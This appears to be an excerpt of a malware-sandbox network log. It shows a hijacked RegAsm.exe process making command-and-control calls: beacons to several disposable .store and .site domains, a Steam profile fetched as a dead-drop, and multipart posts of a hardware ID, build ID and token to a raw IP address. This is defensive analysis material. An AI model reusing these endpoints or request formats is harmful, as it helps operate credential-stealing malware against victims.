2024-10-02 03:20:04 UTC	16384	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f Data Ascii: <script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#glo
2024-10-02 03:20:04 UTC	3768	IN	Data Raw: 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: <div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function()
2024-10-02 03:20:04 UTC	171	IN	Data Raw: 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49779	104.21.16.12	443	4484	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:04 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gravvitywio.store
2024-10-02 03:20:04 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:20:05 UTC	778	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i3su25g8svpmh8h75v2pctg8ck; expires=Sat, 25 Jan 2025 21:06:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wchFqOfaZ0qLWHoHWOdzE3m0XNGdDtuEDmUD1qBKl3TdJdhnXVl%2FpD2llFImS5w53tlbpSp5%2FG%2Fj6z%2BFATgFECsUEm7uH3ap8k7AYDX1dzNG5dWFwMF7SKMZ9t84SGooqxEr%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18df54d0b1982-EWR
2024-10-02 03:20:05 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:20:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49783	104.102.49.254	443	1700	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:14 UTC	119	OUT	GET /profiles/76561199780418869 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:15 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 02 Oct 2024 03:20:15 GMT Content-Length: 34879 Connection: close Set-Cookie: sessionid=3a8253219e85c64f5a07de53; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-02 03:20:15 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-02 03:20:15 UTC	16384	IN	Data Raw: 52 54 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 Data Ascii: RT</a></div><script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4
2024-10-02 03:20:15 UTC	3768	IN	Data Raw: 75 6d 6d 61 72 79 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 Data Ascii: ummary"></div><div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><scr
2024-10-02 03:20:15 UTC	213	IN	Data Raw: 63 6b 3d 22 52 65 73 70 6f 6e 73 69 76 65 5f 52 65 71 75 65 73 74 4d 6f 62 69 6c 65 56 69 65 77 28 29 22 3e 0d 0a 09 09 09 09 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: ck="Responsive_RequestMobileView()"><span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49784	104.21.77.132	443	5328	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:15 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: questionsmw.store
2024-10-02 03:20:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:20:15 UTC	772	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dfr2m1ld4gmnh2899e9l7fb44k; expires=Sat, 25 Jan 2025 21:06:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WBuwPS23Sxic7o6JoEeHiKowme%2FP1x5zz1eDAjZTVx7uKrqToGcyK3h2pCVMzwRxeX2EUXscHIgDMs22N92fnmxGEkCYyiqrFnXJ92z4NbuX06TEhxTqn%2FalTyoCFvSAIwkrug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18e372a014289-EWR
2024-10-02 03:20:15 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:20:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49786	188.114.97.3	443	5328	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:16 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: soldiefieop.site
2024-10-02 03:20:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:20:16 UTC	794	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jjn5d0s8p496nk7fnjpklgmji6; expires=Sat, 25 Jan 2025 21:06:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TizcGuNlNA3KraxoDkausjdWp5Nv18BdT3AyGYXFAscWyBifKIWfUrXzQiRH2%2FMkcVwnMODZB%2FCi8MgdTOhaCQ9Tv5D5HFPfKsv9CtrTcorrDbY5kXSTVK7pQJG4okhCVLig"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18e3cc9364331-EWR alt-svc: h3=":443"; ma=86400
2024-10-02 03:20:16 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:20:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49785	49.12.197.9	443	1700	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:16 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:16 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49787	172.67.152.190	443	5328	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:16 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: abnomalrkmu.site
2024-10-02 03:20:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:20:17 UTC	768	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hvcgmb428ogkceuourrd7mqarf; expires=Sat, 25 Jan 2025 21:06:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r3rzytQNRmgSFiEnJArZdIWdgsKhkR%2Fju647W%2FJX8rIa6PLzX%2F9oq1HKaIieKj6h1G5LRm8ABa2yh%2BXLSGwAD8ejbYUKIwJEDLtSIiX4YJ1Z6ouU0Ue20tnfmeyZNkauoLlS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18e4279301982-EWR
2024-10-02 03:20:17 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:20:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49788	49.12.197.9	443	1700	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:17 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:17 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 34 31 42 38 34 44 35 44 45 44 36 33 33 30 35 32 39 38 33 36 36 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 2d 2d 0d Data Ascii: ------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="hwid"B41B84D5DED63305298366-a33c7340-61ca------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------BGCAAFHIEBKJKEBFIEHD--
2024-10-02 03:20:18 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:18 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 31 37 34 64 36 30 39 33 63 36 35 34 33 31 33 66 65 37 64 39 38 62 37 39 66 37 62 34 31 30 64 32 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|174d6093c654313fe7d98b79f7b410d2\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49789	172.67.184.196	443	5328	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:17 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: treatynreit.site
2024-10-02 03:20:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:20:18 UTC	766	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=62s6co3ev438u20pohkbdi6m8d; expires=Sat, 25 Jan 2025 21:06:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WaETjSp07bnuXDRl8h96o6E1cDiE08wQDuKAQAxVCddr4YX0dStHAHXHhRvnpgFGz32H%2Fd%2F2gv21iTOpzu5LLHXHqKaDyaohPCNAPi7hNVp33cdqbz%2F9bmUYcXxss9LGbZS8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18e4889e5436a-EWR
2024-10-02 03:20:18 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:20:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49791	104.21.18.193	443	5328	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:18 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: snarlypagowo.site
2024-10-02 03:20:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:20:19 UTC	778	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ft06uh06d494m15mhivfrgo60c; expires=Sat, 25 Jan 2025 21:06:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2Mqg9OiQA6zRzeHcBIvgLsnF7GB8mkXIfAt765POTeFmiNQrMkpx5wMS0ivd1Kd1pMgKza8gSCaIJZSTVuaqZYvlNWK%2Bs7isbzsbout%2F%2BH3zf9KW%2BAtMluDKGy%2FtkYFVmzcFEg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18e4e38bf5e78-EWR
2024-10-02 03:20:19 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:20:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49790	49.12.197.9	443	1700	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:18 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHJJECBKKECFIEBGCAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:18 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 37 34 64 36 30 39 33 63 36 35 34 33 31 33 66 65 37 64 39 38 62 37 39 66 37 62 34 31 30 64 32 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------IEHJJECBKKECFIEBGCAKContent-Disposition: form-data; name="token"174d6093c654313fe7d98b79f7b410d2------IEHJJECBKKECFIEBGCAKContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------IEHJJECBKKECFIEBGCAKCont
2024-10-02 03:20:19 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
